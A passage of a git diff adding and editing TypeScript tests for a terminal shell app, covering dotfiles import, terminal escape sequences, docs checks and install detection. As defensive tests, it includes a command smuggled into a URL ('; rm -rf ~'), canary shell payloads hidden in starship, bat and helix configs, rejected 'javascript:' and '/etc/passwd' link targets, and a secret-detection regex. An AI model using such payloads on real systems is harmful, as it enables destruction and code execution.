'truecolor'); editorKey(again, {kind: 'enter'}, 'truecolor'); again.selected = STUDIO_ROWS.findIndex(item => item.kind === 'save'); - const result = studioKey(again, {kind: 'enter'}, 'truecolor', '/'); + const result = editorKey(again, {kind: 'enter'}, 'truecolor'); assert.equal(result?.kind === 'save' && result.theme.prompt.project, '#88c0d0'); // Changing Based on, then resetting, uses the new base; a clean draft resets without asking. - const based = createThemeStudio(undefined, 'nord'); + const based = createThemeEditor(undefined, 'nord'); based.selected = STUDIO_ROWS.findIndex(item => item.kind === 'basedOn'); - studioKey(based, {kind: 'right'}, 'truecolor', '/'); + editorKey(based, {kind: 'right'}, 'truecolor'); const target = based.base; based.selected = STUDIO_ROWS.findIndex(item => item.kind === 'reset'); - studioKey(based, {kind: 'enter'}, 'truecolor', '/'); - studioKey(based, {kind: 'enter'}, 'truecolor', '/'); + editorKey(based, {kind: 'enter'}, 'truecolor'); + editorKey(based, {kind: 'enter'}, 'truecolor'); assert.equal(draftDiffersFromBase(based), false, `draft now equals ${target}`); // Per-role reset with R. - const role = createThemeStudio(saved, 'custom'); + const role = createThemeEditor(saved, 'custom'); role.selected = STUDIO_ROWS.findIndex(item => item.kind === 'role' && item.role === 'project'); - studioKey(role, {kind: 'text', value: 'r'}, 'truecolor', '/'); + editorKey(role, {kind: 'text', value: 'r'}, 'truecolor'); assert.equal(role.draft.prompt.project, '#88c0d0'); assert.equal(role.draft.prompt.cwd, saved.prompt.cwd, 'other roles untouched'); }); diff --git a/tests/columnGutter.test.ts b/tests/columnGutter.test.ts index 5a91b9ac..04ec49b7 100644 --- a/tests/columnGutter.test.ts +++ b/tests/columnGutter.test.ts @@ -47,7 +47,7 @@ test('/providers: the longest family name keeps a gutter before its provider', ( assertGutter(rows, 'Directory navigation'); assertGutter(rows, 'Local understanding'); // Family rows share one data column regardless of the selection marker. - const family = rows.filter(row => / \[active\]/u.test(row) && !row.includes('is in use') && !row.startsWith(' ')); + const family = rows.filter(row => /● Active|fallback →/u.test(row) && !row.startsWith(' ')); const dataColumn = (row: string) => { const match = /\S {2,}(?=\S)/u.exec(row)!; return displayWidth(row.slice(0, match.index + match[0].length)); }; assert.ok(family.length > 3); assert.equal(new Set(family.map(dataColumn)).size, 1, family.join('\n')); diff --git a/tests/commandPalette.test.ts b/tests/commandPalette.test.ts index 7d9b5c3e..fb785b2a 100644 --- a/tests/commandPalette.test.ts +++ b/tests/commandPalette.test.ts @@ -17,7 +17,9 @@ test('one registry lists slash commands, settings pages, config rows and explici const items = paletteItems(); const ids = new Set(items.map(item => item.id)); assert.equal(ids.size, items.length, 'ids are unique'); - for (const command of slashCommands.filter(command => command.name !== '/copy N')) assert.ok(ids.has(`slash:${command.name}`), command.name); + // Aliases (/composer, /pickers, /status-strip) resolve to their canonical command's one entry. + for (const command of slashCommands.filter(command => command.name !== '/copy N' && !command.alias)) assert.ok(ids.has(`slash:${command.name}`), command.name); + for (const command of slashCommands.filter(command => command.alias)) assert.ok(!ids.has(`slash:${command.name}`) && ids.has(`slash:${command.alias}`), command.name); for (const entry of SETTINGS_ENTRIES) assert.ok(ids.has(`open:${entry.id}`), entry.id); for (const row of SETTINGS_ROWS) assert.ok(ids.has(`config:${row.id}`), row.id); for (const item of items) { diff --git a/tests/docsAssets.test.ts b/tests/docsAssets.test.ts new file mode 100644 index 00000000..9058f7e6 --- /dev/null +++ b/tests/docsAssets.test.ts @@ -0,0 +1,50 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, readdirSync, readFileSync} from 'node:fs'; +import {dirname, join, resolve} from 'node:path'; + +/** + * Lightweight documentation integrity: local links and media resolve, every + * published clip has its committed VHS source, and nothing personal leaks into + * docs, tapes or vector art. Prose is not parsed. + */ +const root = resolve(import.meta.dirname, '..'); +const read = (path: string) => readFileSync(join(root, path), 'utf8'); +const markdown = ['README.md', 'ARCHITECTURE.md', 'CHANGELOG.md', 'ROADMAP.md', 'AGENTS.md', 'CONTRIBUTING.md', 'SECURITY.md', 'SUPPORT.md', + 'docs/demos.md', 'docs/design/keep-awake.md', 'docs/design/theme-bridge.md', 'scripts/demos/README.md', 'dev/tapes/README.md'] + .filter(path => existsSync(join(root, path))); +const tapes = readdirSync(join(root, 'scripts/demos')).filter(name => name.endsWith('.tape') && name !== 'settings.tape'); + +test('local links and images in the main docs resolve', () => { + for (const file of markdown) { + const text = read(file); + const targets = [...text.matchAll(/\]\(([^)\s#]+)(?:#[^)]*)?\)/gu), ...text.matchAll(/src="([^"]+)"/gu)].map(match => match[1]!) + .filter(target => !/^(?:https?:|mailto:|\.\.\/\.\.\/issues)/u.test(target) && /(?:\.[A-Za-z]+|\/)$/u.test(target)); + for (const target of targets) assert.ok(existsSync(resolve(root, dirname(file), target)), `${file} → ${target}`); + } +}); + +test('every published clip and still has a committed VHS tape that produces it', () => { + const produced = new Set(tapes.flatMap(name => { + const text = read(`scripts/demos/${name}`); + return [...text.matchAll(/^Output "?([^"\s]+)"?$/gmu), ...text.matchAll(/^# demo-still: (\S+) /gmu)].map(match => match[1]!); + })); + for (const output of produced) assert.ok(existsSync(join(root, output)), `${output} is missing; run npm run demos`); + const media = readdirSync(join(root, 'assets/readme')).filter(name => /\.(?:gif|png|webm|mp4)$/u.test(name)); + for (const name of media) assert.ok(produced.has(`assets/readme/${name}`), `assets/readme/${name} has no tape in scripts/demos`); + assert.ok(read('README.md').includes('assets/readme/nmsh-demo.gif') && produced.has('assets/readme/nmsh-demo.gif')); +}); + +test('docs, tapes and vector art carry no personal paths, hosts or secrets', () => { + const files = [...markdown, 'llms.txt', ...tapes.map(name => `scripts/demos/${name}`), 'scripts/demos/settings.tape', 'scripts/demos/render.mjs', + ...readdirSync(join(root, 'assets/readme')).filter(name => name.endsWith('.svg')).map(name => `assets/readme/${name}`)]; + for (const file of files) { + const text = read(file); + assert.doesNotMatch(text, /\/Users\/(?!<|\.\.\.)[A-Za-z]|\/home\/(?!<)[a-z]/u, `${file} names a real home directory`); + assert.doesNotMatch(text, /(?:ghp_|github_pat_|sk-[A-Za-z0-9]{20}|AKIA[0-9A-Z]{16}|-----BEGIN [A-Z ]*PRIVATE KEY)/u, `${file} looks like it contains a secret`); + } + // The demo identity is neutral by construction. + const render = read('scripts/demos/render.mjs'); + assert.match(render, /USER: 'demo'/u); + assert.match(render, /demo@example\.com/u); +}); diff --git a/tests/dotfilesCommands.test.ts b/tests/dotfilesCommands.test.ts new file mode 100644 index 00000000..5dd93b26 --- /dev/null +++ b/tests/dotfilesCommands.test.ts @@ -0,0 +1,198 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {dirname, join} from 'node:path'; +import {chezmoiTarget, isRemoteSource, scanDotfiles, type ScanResult} from '../src/dotfiles/scan.js'; +import {applyPlan, buildPlan, reviewLines} from '../src/dotfiles/plan.js'; +import {createDotfilesPanel, dotfilesKey} from '../src/dotfiles/DotfilesPanel.js'; +import {parseSlashCommand, slashCommands} from '../src/commands/slashCommands.js'; +import {paletteItems} from '../src/ui/CommandPalette.js'; +import {helpMarkdown} from '../src/help/helpContent.js'; + +const sandbox = () => { + const root = mkdtempSync(join(tmpdir(), 'nmsh-dotfiles-')); + const home = join(root, 'home'); + const repo = join(root, 'repo'); + mkdirSync(home); + mkdirSync(repo); + const put = (path: string, text: string) => { mkdirSync(dirname(join(repo, path)), {recursive: true}); writeFileSync(join(repo, path), text); }; + return {root, home, repo, put, env: {HOME: home, XDG_CONFIG_HOME: join(home, '.config')} as NodeJS.ProcessEnv, done: () => rmSync(root, {recursive: true, force: true})}; +}; +const snapshot = (dir: string): string => readdirSync(dir, {recursive: true}).map(String).sort().map(name => { + const info = statSync(join(dir, name), {throwIfNoEntry: false}); + return `${name}:${info?.isFile() ? readFileSync(join(dir, name), 'utf8') : ''}`; +}).join('\n'); +const scan = (dir: string) => { const result = scanDotfiles(dir); assert.ok(!('error' in result)); return result as ScanResult; }; + +test('dotfiles: plain, Stow and chezmoi layouts are recognized; scripts are listed and never run', () => { + const box = sandbox(); + try { + const marker = join(box.root, 'ran'); + box.put('install.sh', `#!/bin/sh\ntouch '${marker}'\n`); + chmodSync(join(box.repo, 'install.sh'), 0o755); + box.put('.tmux.conf', 'set -g mouse on\n'); + box.put('.zshrc', 'echo hi\n'); + const plain = scan(box.repo); + assert.equal(plain.type, 'plain'); + assert.deepEqual(plain.found.map(file => file.tool.id).sort(), ['tmux', 'zsh']); + assert.deepEqual(plain.scripts, ['install.sh']); + const items = buildPlan(plain, box.env); + assert.equal(items.find(item => item.file.tool.id === 'zsh')!.kind, 'inspect', 'shell rc is executable config: inspect only'); + assert.equal(readdirSync(box.root).includes('ran'), false); + } finally { box.done(); } + const stow = sandbox(); + try { + stow.put('tmux/.tmux.conf', 'set -g mouse on\n'); + stow.put('starship/.config/starship.toml', 'add_newline = false\n'); + const result = scan(stow.repo); + assert.equal(result.type, 'stow'); + assert.deepEqual(result.packages.sort(), ['starship', 'tmux']); + assert.ok(result.found.some(file => file.package === 'starship' && file.target === '.config/starship.toml')); + } finally { stow.done(); } + const chezmoi = sandbox(); + try { + chezmoi.put('dot_tmux.conf', 'set -g mouse on\n'); + chezmoi.put('private_dot_config/starship.toml.tmpl', 'format = "{{ .chezmoi.hostname }}"\n'); + chezmoi.put('run_once_install.sh', 'exit 1\n'); + const result = scan(chezmoi.repo); + assert.equal(result.type, 'chezmoi'); + assert.deepEqual(chezmoiTarget('private_dot_config/executable_x.tmpl'), {target: '.config/x', templated: true}); + const items = buildPlan(result, chezmoi.env); + assert.equal(items.find(item => item.file.tool.id === 'starship')!.kind, 'templated', 'templates are never rendered'); + assert.ok(result.scripts.includes('run_once_install.sh')); + } finally { chezmoi.done(); } +}); + +test('dotfiles: symlinks, oversized, malformed and binary files are skipped with a reason', () => { + const box = sandbox(); + try { + writeFileSync(join(box.root, 'secret'), 'set -g mouse on\n'); + symlinkSync(join(box.root, 'secret'), join(box.repo, '.tmux.conf')); + box.put('.config/starship.toml', 'this is = = not toml'); + box.put('.config/helix/config.toml', 'x'.repeat(600 * 1024)); + box.put('.config/bat/config', 'a\u0000b'); + const items = buildPlan(scan(box.repo), box.env); + const by = (id: string) => items.find(item => item.file.tool.id === id)!; + assert.match(by('tmux').note, /Symlink/u); + assert.match(by('starship').note, /Not valid TOML/u); + assert.match(by('helix').note, /512 KiB/u); + assert.match(by('bat').note, /Binary/u); + assert.ok(items.every(item => item.mode === 'skip')); + } finally { box.done(); } +}); + +test('dotfiles: field-level choices keep current values on conflict; review defaults to No; apply backs up and leaves the repository unchanged', () => { + const box = sandbox(); + try { + writeFileSync(join(box.home, '.tmux.conf'), 'set -g mouse off\n'); + box.put('.tmux.conf', 'set -g mouse on\nset -g escape-time 10\nrun-shell ~/x.sh\n'); + box.put('.config/starship.toml', 'add_newline = false\n'); + mkdirSync(join(box.home, '.config'), {recursive: true}); + writeFileSync(join(box.home, '.config', 'starship.toml'), 'add_newline = true\n'); + const before = snapshot(box.repo); + const items = buildPlan(scan(box.repo), box.env); + const tmux = items.find(item => item.file.tool.id === 'tmux')!; + const mouse = tmux.fields!.find(field => field.label === 'Mouse')!; + assert.deepEqual([mouse.conflict, mouse.use, mouse.current], [true, false, 'off'], 'a conflict keeps your value unless chosen'); + assert.equal(tmux.fields!.find(field => field.repo === '10')!.use, true); + assert.match(tmux.note, /1 dynamic lines never run/u); + const starship = items.find(item => item.file.tool.id === 'starship')!; + assert.deepEqual([starship.kind, starship.modes], ['inspect', ['skip']], 'parseable is not copyable: no exact-copy authority'); + starship.mode = 'copy'; + + const panel = createDotfilesPanel(box.repo); + panel.step = 'review'; + panel.review = {lines: reviewLines(items, []), yes: false}; + assert.equal(dotfilesKey(panel, {kind: 'enter'}), undefined, 'Enter on the default No applies nothing'); + assert.match(panel.message!, /Nothing was changed/u); + assert.match(reviewLines(items, []).join('\n'), /0 scripts run · the repository is not changed/u); + + const results = applyPlan(items, box.env, new Date('2026-01-02T03:04:05Z')); + assert.equal(results.length, 2, results.join('\n')); + assert.match(results.join('\n'), /Starship: no exact-copy authority/u, 'a forced copy mode is still refused at apply time'); + assert.equal(readFileSync(join(box.home, '.config', 'starship.toml'), 'utf8'), 'add_newline = true\n'); + assert.ok(!readdirSync(join(box.home, '.config')).some(name => name.startsWith('starship.toml.nmsh-backup-'))); + assert.equal(readFileSync(join(box.home, '.tmux.conf'), 'utf8'), 'set -g mouse off\n', 'your tmux.conf is untouched (include is a separate reviewed step)'); + assert.equal(snapshot(box.repo), before, 'the repository is never modified'); + } finally { box.done(); } +}); + +test('dotfiles: an entry declaring exactCopy copies with backup, but refuses when the destination changed since review; remote sources need a confirmed clone', () => { + const box = sandbox(); + try { + box.put('.config/starship.toml', 'add_newline = false\n'); + const result = scan(box.repo); + result.found[0]!.tool = {...result.found[0]!.tool, exactCopy: () => ({ok: true})}; + const items = buildPlan(result, box.env); + assert.deepEqual(items[0]!.modes, ['skip', 'copy'], 'only an explicitly declared validator grants copy'); + items[0]!.mode = 'copy'; + mkdirSync(join(box.home, '.config'), {recursive: true}); + writeFileSync(join(box.home, '.config', 'starship.toml'), 'appeared later\n'); + assert.match(applyPlan(items, box.env)[0]!, /disappeared|changed since review/u); + assert.equal(readFileSync(join(box.home, '.config', 'starship.toml'), 'utf8'), 'appeared later\n'); + } finally { box.done(); } + assert.equal(isRemoteSource('https://github.com/me/dotfiles'), true); + assert.equal(isRemoteSource('~/dotfiles'), false); + assert.equal(isRemoteSource('https://x/y; rm -rf ~'), false); + const panel = createDotfilesPanel(); + panel.step = 'clone'; + panel.clone = {url: 'https://github.com/me/dotfiles', target: '/tmp/x', yes: false}; + assert.equal(dotfilesKey(panel, {kind: 'enter'}), undefined); + assert.match(panel.message!, /Nothing was downloaded/u); +}); + +test('commands: aliases normalize to one action; provider shortcuts; leaf settings are not commands', () => { + const same = (a: string, b: string) => assert.deepEqual(parseSlashCommand(a), parseSlashCommand(b), `${a} = ${b}`); + same('/composer', '/layout'); + same('/glyph', '/glyphs'); + same('/strip', '/status-strip'); + same('/pickers', '/picker'); + same('/picker', '/providers picker'); + same('/tmux', '/configure tmux'); + assert.deepEqual(parseSlashCommand('/history-provider'), {kind: 'providers', family: 'history'}); + assert.deepEqual(parseSlashCommand('/history'), {kind: 'history', query: ''}, '/history stays the history picker'); + for (const [command, kind] of [['/motion', 'motion'], ['/chrome', 'chrome'], ['/integrations', 'integrations'], ['/dotfiles', 'dotfiles'], ['/configure', 'configure']] as const) assert.equal(parseSlashCommand(command)!.kind, kind); + assert.deepEqual(parseSlashCommand('/dotfiles ~/dots'), {kind: 'dotfiles', source: '~/dots'}); + for (const leaf of ['/shimmer', '/folding', '/mouse', '/prefix']) assert.equal(parseSlashCommand(leaf)!.kind, 'unknown', `${leaf} is a setting, not a command`); + const names = new Set(slashCommands.map(command => command.name)); + for (const alias of slashCommands.filter(command => command.alias)) assert.ok(names.has(alias.alias!), `${alias.name} points at a real command`); +}); + +test('palette and help list each new surface once, with human labels and grouped help', () => { + const items = paletteItems(); + const commandIds = items.map(item => item.id); + assert.equal(new Set(commandIds).size, commandIds.length, 'no duplicate palette entries'); + for (const alias of ['/composer', '/glyph', '/status-strip', '/pickers']) assert.ok(!items.some(item => item.detail.startsWith(alias) || item.label === alias), `${alias} not listed twice`); + const help = String(helpMarkdown()); + for (const group of ['Appearance', 'Composer & transcript', 'Providers', 'Tools & integration']) assert.match(help, new RegExp(`### ${group}`, 'u')); + for (const command of ['/motion', '/chrome', '/glyphs', '/strip', '/tmux', '/configure', '/integrations', '/dotfiles', '/history-provider']) assert.ok(help.includes(`\`${command}\``), command); + assert.match(help, /`\/layout` \(also `\/composer`\)/u); +}); + +test('dotfiles: parseable but command-capable Starship, bat and Helix configs are inspect-only; nothing is copied or run', async () => { + const box = sandbox(); + try { + const canary = join(box.root, 'PWNED'); + box.put('.config/starship.toml', `format = "$custom"\n[custom.evil]\ncommand = "touch '${canary}'"\nwhen = "true"\nshell = ["sh"]\n`); + box.put('.config/bat/config', `--pager="sh -c 'touch ${canary}'"\n--paging=always\n`); + box.put('.config/helix/config.toml', `[keys.normal]\nX = ":sh touch ${canary}"\n[keys.normal.space]\nY = [":run-shell-command touch ${canary}"]\n`); + const before = snapshot(box.repo); + const items = buildPlan(scan(box.repo), box.env); + assert.deepEqual(items.map(item => item.file.tool.id).sort(), ['bat', 'helix', 'starship']); + for (const item of items) { + assert.deepEqual([item.kind, item.mode, item.modes], ['inspect', 'skip', ['skip']], item.file.tool.id); + assert.match(item.note, /^Inspect only: .*never copied/u, item.note); + assert.equal(item.content, undefined); + item.mode = 'copy'; + } + assert.doesNotMatch(reviewLines(items, []).join('\n'), /copy to|1 file/u); + const results = applyPlan(items, box.env); + assert.ok(results.every(line => /no exact-copy authority/u.test(line)), results.join('\n')); + assert.deepEqual(readdirSync(box.home), [], 'no destination was written'); + assert.equal(readdirSync(box.root).includes('PWNED'), false, 'nothing executed'); + assert.equal(snapshot(box.repo), before); + const {TOOL_CONFIG_REGISTRY} = await import('../src/tools/config/registry.js'); + assert.deepEqual(TOOL_CONFIG_REGISTRY.filter(entry => entry.exactCopy).map(entry => entry.id), [], 'no registry entry holds exact-copy authority'); + } finally { box.done(); } +}); diff --git a/tests/fullChromaQa.test.ts b/tests/fullChromaQa.test.ts index dc75f3b0..673453dc 100644 --- a/tests/fullChromaQa.test.ts +++ b/tests/fullChromaQa.test.ts @@ -108,6 +108,9 @@ test('C/H: Setup Cat Appearance says when previews include Chroma, and its Chrom state.draft = normalizePromptConfiguration({presentation: {preset: 'off'}}); assert.doesNotMatch(plain(app['setupPreview'](state, 100)), /previews include Chroma/u); state.draft = normalizePromptConfiguration({presentation: {preset: 'aurora', motion: 'comet'}}); + // The base theme is shown by default; P turns the local preview Chroma on (the setting itself is unchanged). + assert.match(plain(app['setupPreview'](state, 100)), /Preview Chroma Off/u); + state.previewChroma = true; assert.ok(plain(app['setupPreview'](state, 100)).includes(CHROMA_PREVIEW_NOTE)); const chromaRow = (rows: string[]) => rows.find(item => stripAnsi(item).trimStart().startsWith('Chroma'))!; const realNow = Date.now; diff --git a/tests/homebrewInstall.test.ts b/tests/homebrewInstall.test.ts new file mode 100644 index 00000000..79b9b3dd --- /dev/null +++ b/tests/homebrewInstall.test.ts @@ -0,0 +1,33 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {detectHomebrewInstall, detectInstall, installProvenanceLabel, planUpdate, type CommandRunner} from '../src/update/update.js'; + +const release = {tag: 'v0.18.0', version: '0.18.0', url: 'https://github.com/raiseCatError/notMyShell/releases/tag/v0.18.0', summary: []}; +const noGit: CommandRunner = {run: async () => { throw new Error('git must not run for a Homebrew install'); }}; + +test('Homebrew-installed NMSh: detected from the keg and its INSTALL_RECEIPT; /update never touches the Cellar', async () => { + const prefix = mkdtempSync(join(tmpdir(), 'nmsh-brew-')); + try { + const keg = join(prefix, 'Cellar', 'nmsh', '0.16.0'); + const libexec = join(keg, 'libexec'); + mkdirSync(libexec, {recursive: true}); + // Without Homebrew's receipt, a look-alike path is not claimed as Homebrew. + assert.equal(detectHomebrewInstall(libexec), undefined); + writeFileSync(join(keg, 'INSTALL_RECEIPT.json'), JSON.stringify({source: {tap: 'raisecaterror/tap'}})); + mkdirSync(join(prefix, 'opt')); + symlinkSync(keg, join(prefix, 'opt', 'nmsh')); + const viaOpt = join(prefix, 'opt', 'nmsh', 'libexec'); + const install = await detectInstall(viaOpt, noGit); + assert.equal(install.kind, 'homebrew'); + assert.deepEqual(install.kind === 'homebrew' && [install.version, install.tap], ['0.16.0', 'raisecaterror/tap']); + const planned = await planUpdate(install, release, noGit, async () => { throw new Error('no network'); }); + assert.equal(planned.ok, false); + assert.deepEqual(!planned.ok && planned.manual, ['brew update', 'brew upgrade nmsh']); + assert.match(!planned.ok ? planned.reason : '', /Installed with Homebrew \(raisecaterror\/tap\); Homebrew owns these files/u); + assert.equal(installProvenanceLabel(viaOpt), 'Homebrew (raisecaterror/tap) · update with brew upgrade nmsh'); + assert.match(installProvenanceLabel(prefix), /^other\/manual installation/u); + } finally { rmSync(prefix, {recursive: true, force: true}); } +}); diff --git a/tests/hostSemantics.test.ts b/tests/hostSemantics.test.ts new file mode 100644 index 00000000..28bf7d06 --- /dev/null +++ b/tests/hostSemantics.test.ts @@ -0,0 +1,124 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {HostSemantics, osc133, osc7, semanticSupport} from '../src/host/semanticMarks.js'; +import {AnsiOutputParser, authoredTargetAllowed} from '../src/output/AnsiOutputParser.js'; +import {wrapStyledLine} from '../src/output/viewport.js'; +import {authoredLink, closeAuthoredLinks} from '../src/output/Hyperlinks.js'; +import {OutputBuffer} from '../src/output/OutputBuffer.js'; +import {stripAnsi, displayWidth, truncateAnsi} from '../src/util/text.js'; + +const A = osc133('A'), B = osc133('B'), C = osc133('C'); + +function semantics(support = {marks: true, cwd: true}) { + const written: string[] = []; + let owned = true; + const host = new HostSemantics(support, data => { written.push(data); }, () => owned, 'host.local'); + return {host, written, setOwned: (value: boolean) => { owned = value; }, all: () => written.join('')}; +} + +test('OSC 7: file URI with exact percent-encoding; unsafe or relative paths are never sent', () => { + assert.equal(osc7('/Users/me/My Projects/naïve#1?x%', 'host.local'), '\u001B]7;file://host.local/Users/me/My%20Projects/na%C3%AFve%231%3Fx%25\u001B\\'); + assert.equal(osc7('/tmp', 'bad host!'), '\u001B]7;file:///tmp\u001B\\', 'an unusable hostname is omitted, not sent raw'); + assert.equal(osc7('relative/path'), undefined); + assert.equal(osc7('/tmp/\u001B]0;evil\u0007'), undefined, 'control characters are never embedded'); +}); + +test('OSC 133 projection: prompt → command → output → completion, in order, from the authoritative lifecycle', () => { + const {host, all} = semantics(); + host.prompt('/work', 0); + assert.equal(all(), `${osc7('/work', 'host.local')}${A}${B}`); + host.exec(); + host.prompt('/work', 0); + host.exec(); + host.prompt('/work/sub', 2); + assert.equal(all(), `${osc7('/work', 'host.local')}${A}${B}${C}${osc133('D', 0)}${A}${B}${C}${osc133('D', 2)}${osc7('/work/sub', 'host.local')}${A}${B}`, + 'D carries the real exit status; OSC 7 only when the directory changes'); +}); + +test('OSC 133: interrupts, multiline commands, rejected input and shell switches never unbalance zones', () => { + const {host, all, written} = semantics({marks: true, cwd: false}); + host.prompt('/w', 0); + // A multiline command is one exec marker: one C. + host.exec(); host.exec(); + host.prompt('/w', 130); + assert.equal(all(), `${A}${B}${C}${osc133('D', 130)}${A}${B}`, 'one C for one command; Ctrl+C reports its real status'); + written.length = 0; + // Rejected input: no exec marker arrives, so no C and no D. + host.prompt('/w', 0); + assert.equal(all(), `${A}${B}`); + written.length = 0; + // The shell ends mid-command (or /shell switches): the zone closes without inventing a status. + host.exec(); + host.end(); + assert.equal(all(), `${C}${osc133('D')}`); + written.length = 0; + host.end(); + host.exec(); + assert.equal(all(), '', 'nothing after the shell ended until its replacement reports a prompt'); +}); + +test('fullscreen passthrough: markers are held while a program owns the screen, then written once', () => { + const {host, written, setOwned} = semantics({marks: true, cwd: true}); + host.prompt('/w', 0); + host.exec(); + written.length = 0; + setOwned(false); + host.prompt('/w', 0); + assert.deepEqual(written, [], 'never written into an alternate-screen program'); + setOwned(true); + host.flush(); + assert.deepEqual(written, [`${osc133('D', 0)}${A}${B}`]); +}); + +test('unsupported hosts and opt-outs get nothing; capable hosts and multiplexers get markers', () => { + const quiet = semantics({marks: false, cwd: false}); + quiet.host.prompt('/w', 0); quiet.host.exec(); quiet.host.prompt('/w', 1); + assert.equal(quiet.all(), ''); + assert.deepEqual(semanticSupport({TERM: 'xterm-256color'}), {marks: false, cwd: false}, 'an unknown host gets nothing'); + assert.deepEqual(semanticSupport({TERM_PROGRAM: 'ghostty'}), {marks: true, cwd: true}); + assert.deepEqual(semanticSupport({TERM_PROGRAM: 'WezTerm'}), {marks: true, cwd: true}); + assert.deepEqual(semanticSupport({TERM_PROGRAM: 'Apple_Terminal'}), {marks: false, cwd: true}); + assert.deepEqual(semanticSupport({TMUX: '/tmp/tmux-1/default,1,0', TERM: 'tmux-256color'}), {marks: true, cwd: true}, 'tmux consumes them for pane state'); + assert.deepEqual(semanticSupport({TERM_PROGRAM: 'ghostty', NMSH_SEMANTIC: '0'}), {marks: false, cwd: false}); + assert.deepEqual(semanticSupport({TERM: 'dumb', NMSH_SEMANTIC: '1'}), {marks: false, cwd: false}); +}); + +test('OSC 8: NMSh-authored links survive the transcript as authored cells; raw PTY links stay a separate trust path', () => { + const parser = new AnsiOutputParser(); + parser.addAuthoredLine('see \u001B]8;;https://github.com/raiseCatError/notMyShell/issues/304\u001B\\#304\u001B]8;;\u001B\\ now'); + parser.addAuthoredLine('bad \u001B]8;;javascript:alert(1)\u001B\\click\u001B]8;;\u001B\\'); + parser.write('raw \u001B]8;;https://example.com/x\u001B\\link\u001B]8;;\u001B\\\n'); + const [authored, rejected, raw] = parser.lines; + const linked = authored!.filter(cell => cell?.hyperlink); + assert.equal(linked.map(cell => cell!.text).join(''), '#304'); + assert.ok(linked.every(cell => cell!.authored === true)); + assert.ok(rejected!.every(cell => !cell?.hyperlink), 'unsafe authored targets are dropped'); + const rawLinked = raw!.filter(cell => cell?.hyperlink); + assert.ok(rawLinked.length > 0 && rawLinked.every(cell => cell!.authored === undefined), 'program links are never marked authored'); + const [row] = wrapStyledLine(authored!, 80, true); + assert.match(row!.ansi, /\u001B\]8;;https:\/\/github\.com\/raiseCatError\/notMyShell\/issues\/304\u001B\\#304\u001B\]8;;\u001B\\/u); + assert.equal(row!.plain, 'see #304 now', 'plain/copy text has no escape bytes'); + assert.doesNotMatch(wrapStyledLine(authored!, 80, false)[0]!.ansi, /\u001B\]8/u, 'hosts without OSC 8 get plain text'); + for (const target of ['https://localhost:5173/', 'http://127.0.0.1:3000', 'file:///tmp/x.json']) assert.ok(authoredTargetAllowed(target), target); + for (const target of ['javascript:x', 'https://user:pw@example.com/', 'file://host/etc/passwd', 'data:text/html,x', 'https://exa mple.com']) assert.equal(authoredTargetAllowed(target), false, target); +}); + +test('OSC 8 in live rows: authored task URLs only on capable hosts, and truncation never leaves a link open', () => { + const link = authoredLink('http://localhost:5173', 'http://localhost:5173', true); + assert.match(link, /^\u001B\]8;;http:\/\/localhost:5173\/\u001B\\http:\/\/localhost:5173\u001B\]8;;\u001B\\$/u); + assert.equal(authoredLink('x', 'javascript:alert(1)', true), 'x'); + assert.equal(authoredLink('http://localhost:5173', 'http://localhost:5173', false), 'http://localhost:5173'); + const row = closeAuthoredLinks(truncateAnsi(`dev server · ${link} · 12s`, 20)); + assert.ok(row.endsWith('\u001B]8;;\u001B\\'), 'a cut link is closed'); + assert.ok(displayWidth(row) <= 20); + assert.equal(stripAnsi(link), 'http://localhost:5173'); +}); + +test('frontend interactions: authored links only when requested; /copy-style plain text stays escape-free', () => { + const output = new OutputBuffer(); + output.addFrontendInteraction('/help', 'docs \u001B]8;;https://github.com/raiseCatError/notMyShell\u001B\\repo\u001B]8;;\u001B\\', '', true); + output.addFrontendInteraction('/x', 'docs \u001B]8;;https://example.com\u001B\\plain\u001B]8;;\u001B\\'); + const rows = output.wrapped(80).map(row => row.plain); + assert.ok(rows.some(row => row.includes('docs repo'))); + assert.ok(rows.every(row => !row.includes('\u001B'))); +}); diff --git a/tests/keepAwake.test.ts b/tests/keepAwake.test.ts new file mode 100644 index 00000000..c28f4c1d --- /dev/null +++ b/tests/keepAwake.test.ts @@ -0,0 +1,243 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import { + CAFFEINATE, detectBackend, ES_CONTINUOUS, ES_DISPLAY_REQUIRED, ES_SYSTEM_REQUIRED, executionStateFlags, KeepAwakeController, linuxBackend, macBackend, + parseDuration, systemProbe, windowsBackend, windowsHelperScript, type LaunchPlan, type ProcessProbe, +} from '../src/keepAwake/keepAwake.js'; +import {createKeepAwakePanel, keepAwakeKey, renderKeepAwakePanel} from '../src/keepAwake/KeepAwakePanel.js'; +import {parseSlashCommand, slashCommands} from '../src/commands/slashCommands.js'; +import {paletteItems} from '../src/ui/CommandPalette.js'; +import {helpMarkdown} from '../src/help/helpContent.js'; +import {resolveConfigRequest} from '../src/ask/configActions.js'; +import {knownToolForExecutable, TOOLS} from '../src/tools/catalog.js'; +import {stripAnsi} from '../src/util/text.js'; + +/** A fake process table: starts get fresh PIDs; command lines are exactly the launch. */ +function fakeProbe(): ProcessProbe & {processes: Map; started: LaunchPlan[]; signals: Array<[number, string]>; clock: number; failNext?: boolean} { + const probe = { + processes: new Map(), started: [] as LaunchPlan[], signals: [] as Array<[number, string]>, clock: 1_000_000, failNext: false, next: 4000, + start(plan: LaunchPlan) { + probe.started.push(plan); + if (probe.failNext) { probe.failNext = false; return undefined; } + const pid = probe.next++; + probe.processes.set(pid, [plan.command, ...plan.args].join(' ')); + return pid; + }, + alive: (pid: number) => probe.processes.has(pid), + commandLine: (pid: number) => probe.processes.get(pid), + signal(pid: number, signal: string) { probe.signals.push([pid, signal]); if (signal === 'SIGTERM') probe.processes.delete(pid); }, + now: () => probe.clock, + }; + return probe; +} +const box = () => { const root = mkdtempSync(join(tmpdir(), 'nmsh-awake-')); return {path: join(root, 'keep-awake.json'), done: () => rmSync(root, {recursive: true, force: true})}; }; + +test('aliases: 